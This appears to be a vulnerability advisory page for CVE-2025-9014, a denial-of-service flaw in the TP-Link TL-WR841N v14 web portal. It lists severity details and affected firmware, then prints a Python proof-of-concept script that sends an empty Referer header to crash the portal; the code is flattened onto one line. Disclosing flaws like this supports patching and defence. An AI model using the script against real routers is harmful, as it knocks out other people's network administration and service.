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CVE-2025-9014 CVSS 7.5 HIGH

CVE-2025-9014

Published: 2026-01-15 18:16:38
Last Modified: 2026-01-30 20:42:05
Source: f23511db-6c3e-4e32-a477-6aa17d310630

Description

A Null Pointer Dereference vulnerability exists in the referer header check of the web portal of TP-Link TL-WR841N v14, caused by improper input validation.  A remote, unauthenticated attacker can exploit this flaw and cause Denial of Service on the web portal service.This issue affects TL-WR841N v14: before 250908.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:tp-link:tl-wr841n_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:tl-wr841n:14:*:*:*:*:*:*:* - NOT VULNERABLE
TP-Link TL-WR841N v14 < 250908

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys def exploit_cve_2025_9014(target_url): """ CVE-2025-9014 PoC - TP-Link TL-WR841N v14 Referer Header Null Pointer Dereference This PoC demonstrates the null pointer dereference vulnerability in the referer header check of TP-Link TL-WR841N v14 web portal. Usage: python poc.py http://target_ip:port """ headers = { 'Referer': '', # Empty referer triggers the vulnerability 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Sending exploit request to {target_url}") print(f"[*] Referer Header: (empty)") response = requests.get(target_url, headers=headers, timeout=5) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Time: {response.elapsed.total_seconds()}s") # Verify if web portal is still responsive check_response = requests.get(target_url, timeout=5) if check_response.status_code == 200: print("[-] Web portal still responsive, vulnerability may not be triggered") else: print("[+] Web portal appears to be down - DoS successful") except requests.exceptions.Timeout: print("[+] Web portal timeout - DoS likely successful") except requests.exceptions.ConnectionError: print("[+] Web portal unreachable - DoS successful") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python poc.py http://target_ip:port") sys.exit(1) target = sys.argv[1] exploit_cve_2025_9014(target)

References

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